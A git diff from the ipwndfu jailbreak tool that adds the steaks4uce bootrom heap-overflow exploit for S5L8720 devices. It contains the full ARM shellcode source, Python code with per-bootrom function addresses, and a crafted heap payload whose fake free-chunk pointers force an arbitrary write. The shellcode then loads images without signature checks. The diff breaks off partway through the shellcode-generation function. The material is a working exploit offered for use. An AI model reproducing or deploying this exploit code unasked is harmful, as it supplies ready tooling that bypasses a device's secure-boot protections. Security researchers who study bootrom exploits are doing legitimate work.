diff --git a/Makefile b/Makefile index 96b3d5b7..f14c10ab 100644 --- a/Makefile +++ b/Makefile @@ -1,20 +1,24 @@ all: - arm-none-eabi-as -mthumb --fatal-warnings -o bin/limera1n-shellcode.o src/limera1n-shellcode.S - arm-none-eabi-objcopy -O binary bin/limera1n-shellcode.o bin/limera1n-shellcode.bin - rm bin/limera1n-shellcode.o + arm-none-eabi-as -march=armv6 -mthumb --fatal-warnings -o bin/steaks4uce-shellcode.o src/steaks4uce-shellcode.S + arm-none-eabi-objcopy -O binary bin/steaks4uce-shellcode.o bin/steaks4uce-shellcode.bin + rm bin/steaks4uce-shellcode.o - arm-none-eabi-as -mthumb --fatal-warnings -o bin/SHAtter-shellcode.o src/SHAtter-shellcode.S - arm-none-eabi-objcopy -O binary bin/SHAtter-shellcode.o bin/SHAtter-shellcode.bin - rm bin/SHAtter-shellcode.o + arm-none-eabi-as -mthumb --fatal-warnings -o bin/limera1n-shellcode.o src/limera1n-shellcode.S + arm-none-eabi-objcopy -O binary bin/limera1n-shellcode.o bin/limera1n-shellcode.bin + rm bin/limera1n-shellcode.o - arm-none-eabi-as -mthumb --fatal-warnings -o bin/24Kpwn-shellcode.o src/24Kpwn-shellcode.S - arm-none-eabi-objcopy -O binary bin/24Kpwn-shellcode.o bin/24Kpwn-shellcode.bin - rm bin/24Kpwn-shellcode.o + arm-none-eabi-as -mthumb --fatal-warnings -o bin/SHAtter-shellcode.o src/SHAtter-shellcode.S + arm-none-eabi-objcopy -O binary bin/SHAtter-shellcode.o bin/SHAtter-shellcode.bin + rm bin/SHAtter-shellcode.o - arm-none-eabi-as -mthumb --fatal-warnings -o bin/alloc8-shellcode.o src/alloc8-shellcode.S - arm-none-eabi-objcopy -O binary bin/alloc8-shellcode.o bin/alloc8-shellcode.bin - rm bin/alloc8-shellcode.o + arm-none-eabi-as -mthumb --fatal-warnings -o bin/24Kpwn-shellcode.o src/24Kpwn-shellcode.S + arm-none-eabi-objcopy -O binary bin/24Kpwn-shellcode.o bin/24Kpwn-shellcode.bin + rm bin/24Kpwn-shellcode.o - arm-none-eabi-as -mthumb --fatal-warnings -o bin/ibss-flash-nor-shellcode.o src/ibss-flash-nor-shellcode.S - arm-none-eabi-objcopy -O binary bin/ibss-flash-nor-shellcode.o bin/ibss-flash-nor-shellcode.bin - rm bin/ibss-flash-nor-shellcode.o + arm-none-eabi-as -mthumb --fatal-warnings -o bin/alloc8-shellcode.o src/alloc8-shellcode.S + arm-none-eabi-objcopy -O binary bin/alloc8-shellcode.o bin/alloc8-shellcode.bin + rm bin/alloc8-shellcode.o + + arm-none-eabi-as -mthumb --fatal-warnings -o bin/ibss-flash-nor-shellcode.o src/ibss-flash-nor-shellcode.S + arm-none-eabi-objcopy -O binary bin/ibss-flash-nor-shellcode.o bin/ibss-flash-nor-shellcode.bin + rm bin/ibss-flash-nor-shellcode.o diff --git a/README.md b/README.md index 9c4989da..bf2cace0 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,11 @@ * Jailbreak and downgrade iPhone 3GS (new bootrom) with alloc8 untethered bootrom exploit. :-) -* Pwned DFU Mode with limera1n exploit for S5L8920/S5L8922/S5L8930 devices. +* Pwned DFU Mode with steaks4uce exploit for S5L8720 devices. + +* Pwned DFU Mode with limera1n exploit for S5L8920/S5L8922 devices. + +* Pwned DFU Mode with SHAtter exploit for S5L8930 devices. * Dump SecureROM on S5L8920/S5L8922/S5L8930 devices. @@ -59,8 +63,6 @@ unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > * Easier setup: download iBSS automatically using partial zip. -* Pwned DFU Mode with steaks4uce exploit for S5L8720 devices. - * Dump SecureROM on S5L8720 devices. * Install custom boot logos on devices jailbroken with 24Kpwn and alloc8. @@ -87,4 +89,6 @@ posixninja and pod2g for SHAtter exploit iPhone Dev Team for 24Kpwn exploit +pod2g for steaks4uce exploit + walac for pyusb diff --git a/SHAtter.py b/SHAtter.py index 6dd142f7..4febed64 100755 --- a/SHAtter.py +++ b/SHAtter.py @@ -1,3 +1,5 @@ +# Credit: This file is based on SHAtter exploit (segment overflow) by posixninja and pod2g. + import struct, sys, time import dfu diff --git a/bin/steaks4uce-shellcode.bin b/bin/steaks4uce-shellcode.bin new file mode 100644 index 00000000..8788514d Binary files /dev/null and b/bin/steaks4uce-shellcode.bin differ diff --git a/ipwndfu b/ipwndfu index a7b93ab1..54a2c6d5 100755 --- a/ipwndfu +++ b/ipwndfu @@ -4,7 +4,7 @@ import binascii, datetime, getopt, hashlib, struct, subprocess, sys, time import usb # pyusb: use 'pip install pyusb' to install this module -import dfu, recovery, limera1n, SHAtter +import dfu, recovery, steaks4uce, limera1n, SHAtter EXEC_MAGIC = 'exec'[::-1] AES_BLOCK_SIZE = 16 @@ -176,6 +176,30 @@ class PwnedDeviceConfig: self.rom_sha256 = rom_sha256 configs = [ + #PwnedDeviceConfig( + # # S5L8720 (old bootrom) + # version='240.4', + # cpid='8720', + # aes_crypto_cmd=0x899, + # memmove=0x795c, + # get_block_device=0x1091, + # load_address=0x22000000, + # rom_address=0x20000000, + # rom_size=0x10000, + # rom_sha256='55f4d8ea2791ba51dd89934168f38f0fb21ce8762ff614c1e742407c0d3ca054' + #), + #PwnedDeviceConfig( + # # S5L8720 (new bootrom) + # version='240.5.1', + # cpid='8720', + # aes_crypto_cmd=0x899, + # memmove=0x7964, + # get_block_device=0x1091, + # load_address=0x22000000, + # rom_address=0x20000000, + # rom_size=0x10000, + # rom_sha256='f15ae522dc9e645fcf997f6cec978ed3ce1811915e84938c68203fb95d80d300' + #), PwnedDeviceConfig( # S5L8920 (old bootrom) version='359.3', @@ -291,6 +315,10 @@ class PwnedDFUDevice(): print 'ERROR: Device is not in pwned DFU Mode. Use -p flag to exploit device and then try again.' sys.exit(1) + if 'CPID:8720' in self.identifier: + print 'ERROR: This feature is not supported on iPod Touch (2nd generation).' + sys.exit(1) + self.config = None for config in configs: if SRTG_FORMAT % config.version in self.identifier: @@ -644,7 +672,9 @@ if __name__ == '__main__': serial_number = device.serial_number dfu.release_device(device) - if 'CPID:8920' in serial_number: + if 'CPID:8720' in serial_number: + steaks4uce.exploit() + elif 'CPID:8920' in serial_number: limera1n.exploit() elif 'CPID:8922' in serial_number: limera1n.exploit() diff --git a/limera1n.py b/limera1n.py index 1298f7f9..2ed094a5 100644 --- a/limera1n.py +++ b/limera1n.py @@ -1,3 +1,5 @@ +# Credit: This file is based on limera1n exploit (heap overflow) by geohot. + import array, ctypes, struct, sys, time import usb # pyusb: use 'pip install pyusb' to install this module import dfu diff --git a/src/steaks4uce-shellcode.S b/src/steaks4uce-shellcode.S new file mode 100644 index 00000000..88af8fb1 --- /dev/null +++ b/src/steaks4uce-shellcode.S @@ -0,0 +1,256 @@ +@ steaks4uce-shellcode.S +@ Author: axi0mX +@ Shellcode for steaks4uce exploit with minor improvements: +@ * reports PWND:[steaks4uce] in USB serial number string + +.text + +.pool +.set clean_data_cache, 0xBAD0000a +.set invalidate_instruction_cache, 0xBAD00006 +.set usb_shutdown, 0xBAD00005 +.set free, 0xBAD00011 +.set memz_create, 0xBAD00013 +.set memz_destroy, 0xBAD00015 +.set image3_create_struct, 0xBAD00018 +.set image3_load_continue, 0xBAD00019 +.set image3_load_fail, 0xBAD0001a +.set usb_wait_for_image, 0xBAD0000d +.set jump_to, 0xBAD00014 +.set nor_power_on, 0xBAD00002 +.set nor_init, 0xBAD00003 +.set usb_destroy, 0xBAD00004 +.set memmove, 0xBAD00009 +.set strlcat, 0xBAD0000c + +.set gLeakingDFUBuffer, 0xBAD00010 +.set gVersionString, 0xBAD0000b + +.set RELOCATE_SHELLCODE_ADDRESS, 0xBAD00007 +.set RELOCATE_SHELLCODE_SIZE, 0xBAD00008 +.set MAIN_STACK_ADDRESS, 0xBAD00001 +.set LOAD_ADDRESS, 0xBAD0000e +.set MAX_SIZE, 0xBAD0000f +.set EXEC_MAGIC, 0xBAD00012 +.set IMAGE3_LOAD_SP_OFFSET, 0xBAD00016 +.set IMAGE3_LOAD_STRUCT_OFFSET, 0xBAD00017 + +.global _start + +.code 16 +_start: + B pwned_dfu_start @ goto pwned_dfu_start + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +pwned_dfu_start: + LDR R0, =MAIN_STACK_ADDRESS + MOV SP, R0 @ SP = MAIN_STACK_ADDRESS + + MOV R0, #1 + MOV R1, #1 + MOV R2, #0 + LDR R3, =nor_power_on + BLX R3 @ nor_power_on(1, 1, 0) + + MOV R0, #0 + LDR R3, =nor_init + BLX R3 @ nor_init(0) + + LDR R3, =usb_destroy + BLX R3 @ usb_destroy() + + LDR R3, =usb_shutdown + BLX R3 @ usb_shutdown() + + LDR R3, =invalidate_instruction_cache + BLX R3 @ invalidate_instruction_cache() + +relocate_shellcode: + MOV R1, PC + SUB R1, R1, #4 @ R1 = PC - 4 + + LDR R0, =RELOCATE_SHELLCODE_ADDRESS + CMP R0, R1 + BEQ pwned_dfu_loop @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_loop + + LDR R2, =RELOCATE_SHELLCODE_SIZE + LDR R3, =memmove + BLX R3 @ memmove(RELOCATE_SHELLCODE_ADDRESS, R1, RELOCATE_SHELLCODE_SIZE) + + LDR R3, =RELOCATE_SHELLCODE_ADDRESS + ADD R3, R3, #1 + BX R3 @ goto (RELOCATE_SHELLCODE_ADDRESS + 1) + +pwned_dfu_loop: + LDR R3, =clean_data_cache + BLX R3 @ clean_data_cache() + + LDR R0, =gVersionString + ADR R1, PWND_STRING + MOV R2, #40 + LDR R3, =strlcat /* TODO: do this in a more reasonable way */ + BLX R3 @ strlcat(gVersionString, PWND_STRING, 40) + + LDR R3, =usb_wait_for_image + LDR R0, =LOAD_ADDRESS + LDR R1, =MAX_SIZE + BLX R3 @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE) + + MOV R4, R0 @ R4 = R0 + + LDR R1, =gLeakingDFUBuffer + LDR R0, [R1] @ R0 = gLeakingDFUBuffer + + MOV R2, #0 + STR R2, [R1] @ gLeakingDFUBuffer = 0 + + LDR R3, =free + BLX R3 @ free(R0) + + CMP R4, #0 + BLT pwned_dfu_loop @ if (R4 < 0) goto pwned_dfu_loop + + LDR R5, =LOAD_ADDRESS + LDR R0, [R5] @ R0 = LOAD_ADDRESS[0] + + LDR R1, =EXEC_MAGIC + CMP R0, R1 + BNE pwned_dfu_not_exec_magic @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic + + LDR R0, [R5, #0x8] @ R0 = LOAD_ADDRESS[2] /* arg1 */ + + LDR R1, [R5, #0xC] @ R1 = LOAD_ADDRESS[3] /* arg2 */ + + LDR R2, [R5, #0x10] @ R2 = LOAD_ADDRESS[4] /* arg3 */ + + LDR R3, [R5, #0x14] @ R3 = LOAD_ADDRESS[5] /* arg4 */ + + LDR R4, [R5, #0x18] + STR R4, [SP] @ SP[0] = LOAD_ADDRESS[6] /* arg5 */ + + LDR R4, [R5, #0x1C] + STR R4, [SP, #0x4] @ SP[1] = LOAD_ADDRESS[7] /* arg6 */ + + LDR R4, [R5, #0x20] + STR R4, [SP, #0x8] @ SP[2] = LOAD_ADDRESS[8] /* arg7 */ + + LDR R4, [R5, #0x4] + BLX R4 @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2]) + + STR R0, [R5, #4] @ LOAD_ADDRESS[1] = R0 + + MOV R1, #0 + STR R1, [R5] @ LOAD_ADDRESS[0] = 0 + + B pwned_dfu_loop @ goto pwned_dfu_loop + +pwned_dfu_not_exec_magic: + LDR R0, =LOAD_ADDRESS + MOV R1, R4 + MOV R2, #0 + LDR R3, =memz_create + BLX R3 @ R0 = memz_create(LOAD_ADDRESS, R4, 0) + + CMP R0, #0 + BEQ pwned_dfu_loop @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */ + + LDR R3, =LOAD_ADDRESS + STR R3, [SP] @ SP[0] = LOAD_ADDRESS + + STR R4, [SP, #4] @ SP[1] = R4 + + MOV R4, R0 @ R4 = R0 + + MOV R1, SP + ADD R2, SP, #4 + BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1]) + + CMP R0, #0 + BNE load_failed @ if (R0 != 0) goto load_failed + + LDR R1, =LOAD_ADDRESS + MOV R2, #0 + LDR R3, =jump_to + BLX R3 @ jump_to(0, LOAD_ADDRESS, 0) + + /* jump_to should never return */ + +load_failed: + MOV R0, R4 + LDR R3, =memz_destroy + BLX R3 @ memz_destroy(R4) + + B pwned_dfu_loop @ goto pwned_dfu_loop + +image3_load_no_signature_check: + PUSH {R4-R7, LR} @ push_registers(R4, R5, R6, R7, LR) + + MOV R6, R11 + MOV R5, R10 + MOV R4, R8 + PUSH {R4-R6} @ push_registers(R8, R10, R11) + + ADD R7, SP, #0x18 @ R7 = SP - 0x18 + + LDR R4, =IMAGE3_LOAD_SP_OFFSET + MOV R5, SP + SUB R5, R5, R4 + MOV SP, R5 @ SP = SP - IMAGE3_LOAD_SP_OFFSET + + MOV R3, #0 + LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET + ADD R4, R5, R4 + STR R3, [R4] @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0 + + STR R2, [SP, #0x10] @ SP[4] = R2 + + STR R1, [SP, #0x14] @ SP[5] = R1 + + STR R3, [SP, #0x18] @ SP[6] = 0 + + LDR R6, [R1] @ R6 = *R1 + + MOV R10, R1 @ R10 = R1 + + MOV R11, R3 @ R11 = 0 + + LDR R1, =MAX_SIZE + MOV R8, R1 @ R8 = MAX_SIZE + + LDR R2, [R0, #4] + CMP R2, R1 + BGT img3_fail @ if (R0[1] > MAX_SIZE) goto img3_fail + + MOV R8, R2 @ R8 = R0[1] + + MOV R0, R4 + MOV R1, R6 + LDR R4, =image3_create_struct + BLX R4 + MOV R4, R0 @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0) + + LDR R3, =image3_load_continue @ R3 = image3_load_continue + + CMP R4, #0 + BEQ img3_branch_R3 @ if (R4 == 0) goto img3_branch_R3 + +img3_fail: + MOV R4, #1 @ R4 = 1 + + LDR R3, =image3_load_fail @ R3 = image3_load_fail + +img3_branch_R3: + BX R3 @ goto R3 + +.align 2 + +PWND_STRING: +.ascii "] PWND:[steaks4uce\x00" diff --git a/steaks4uce.py b/steaks4uce.py new file mode 100755 index 00000000..c1905ae3 --- /dev/null +++ b/steaks4uce.py @@ -0,0 +1,157 @@ +# Credit: This file is based on steaks4uce exploit (heap overflow) by pod2g. + +import struct, sys, time +import usb # pyusb: use 'pip install pyusb' to install this module +import dfu + +constants_240_4 = [ + 0x22030000, # 1 - MAIN_STACK_ADDRESS + 0x3af5, # 2 - nor_power_on + 0x486d, # 3 - nor_init + 0x6c81, # 4 - usb_destroy + 0x1059, # 5 - usb_shutdown + 0x560, # 6 - invalidate_instruction_cache + 0x2202d800, # 7 - RELOCATE_SHELLCODE_ADDRESS + 0x200, # 8 - RELOCATE_SHELLCODE_SIZE + 0x795c, # 9 - memmove + 0x534, # 10 - clean_data_cache + 0x280, # 11 - gVersionString + 0x83cd, # 12 - strlcat + 0x30e9, # 13 - usb_wait_for_image + 0x22000000, # 14 - LOAD_ADDRESS + 0x24000, # 15 - MAX_SIZE + 0x220241ac, # 16 - gLeakingDFUBuffer + 0x1955, # 17 - free + 0x65786563, # 18 - EXEC_MAGIC + 0x1bf1, # 19 - memz_create + 0x3339, # 20 - jump_to + 0x1c19, # 21 - memz_destroy + 0x58, # 22 - IMAGE3_LOAD_SP_OFFSET + 0x54, # 23 - IMAGE3_LOAD_STRUCT_OFFSET + 0x1c5d, # 24 - image3_create_struct + 0x22cd, # 25 - image3_load_continue + 0x23a3, # 26 - image3_load_fail +] + +constants_240_5_1 = [ + 0x22030000, # 1 - MAIN_STACK_ADDRESS + 0x3afd, # 2 - nor_power_on + 0x4875, # 3 - nor_init + 0x6c89, # 4 - usb_destroy + 0x1059, # 5 - usb_shutdown + 0x560, # 6 - invalidate_instruction_cache + 0x2202d800, # 7 - RELOCATE_SHELLCODE_ADDRESS + 0x200, # 8 - RELOCATE_SHELLCODE_SIZE + 0x7964, # 9 - memmove + 0x534, # 10 - clean_data_cache + 0x280, # 11 - gVersionString + 0x83d5, # 12 - strlcat + 0x30f1, # 13 - usb_wait_for_image + 0x22000000, # 14 - LOAD_ADDRESS + 0x24000, # 15 - MAX_SIZE + 0x220241ac, # 16 - gLeakingDFUBuffer + 0x1955, # 17 - free + 0x65786563, # 18 - EXEC_MAGIC + 0x1bf9, # 19 - memz_create + 0x3341, # 20 - jump_to + 0x1c21, # 21 - memz_destroy + 0x58, # 22 - IMAGE3_LOAD_SP_OFFSET + 0x54, # 23 - IMAGE3_LOAD_STRUCT_OFFSET + 0x1c65, # 24 - image3_create_struct + 0x22d5, # 25 - image3_load_continue + 0x23ab, # 26 - image3_load_fail +] + +class DeviceConfig: + def __init__(self, version, constants): + self.version = version + self.constants = constants + +configs = [ + DeviceConfig('240.4', constants_240_4), # S5L8720 (old bootrom) + DeviceConfig('240.5.1', constants_240_5_1), # S5L8720 (new bootrom) +] + +# Pad to length 256 and add heap data for overwrite +payload = '\x00' * 256 + struct.pack('<14I', + # 1. Allocated chunk to be freed + # Chunk header: (size 0x8) + 0x84, # 0x00: previous_chunk + 0x5, # 0x04: next_chunk + # Contents: (requested size 0x1c, allocated size 0x20) + 0x80, # 0x08: buffer[0] - direction + 0x22026280, # 0x0c: buffer[1] - usb_response_buffer + 0xffffffff, # 0x10: buffer[2] + 0x138, # 0x14: buffer[3] - size of payload in bytes + 0x100, # 0x18: buffer[4] + 0x0, # 0x1c: buffer[5] + 0x0, # 0x20: buffer[6] + 0x0, # 0x24: unused + # 2. Fake free chunk + # Chunk header: (size 0x8) + 0x15, # 0x28: previous_chunk + 0x2, # 0x2c: next_chunk + # Attack fd/bk pointers in this free chunk for arbitrary write: + 0x22000001, # 0x30: fd - shellcode_address (what to write) + 0x2202d7fc, # 0x34: bk - exception_irq() LR on the stack (where to write it) +) + +def generate_shellcode(constants): + with open('bin/steaks4uce-shellcode.bin', 'rb') as f: + shellcode = f.read() + + # Shellcode has placeholder values for constants; check they match and replace with constants from config + placeholders_offset = len(shellcode) - 4 * len(constants) + for i in range(len(constants)): + offset = placeholders_offset + 4 * i + (value,) = struct.unpack('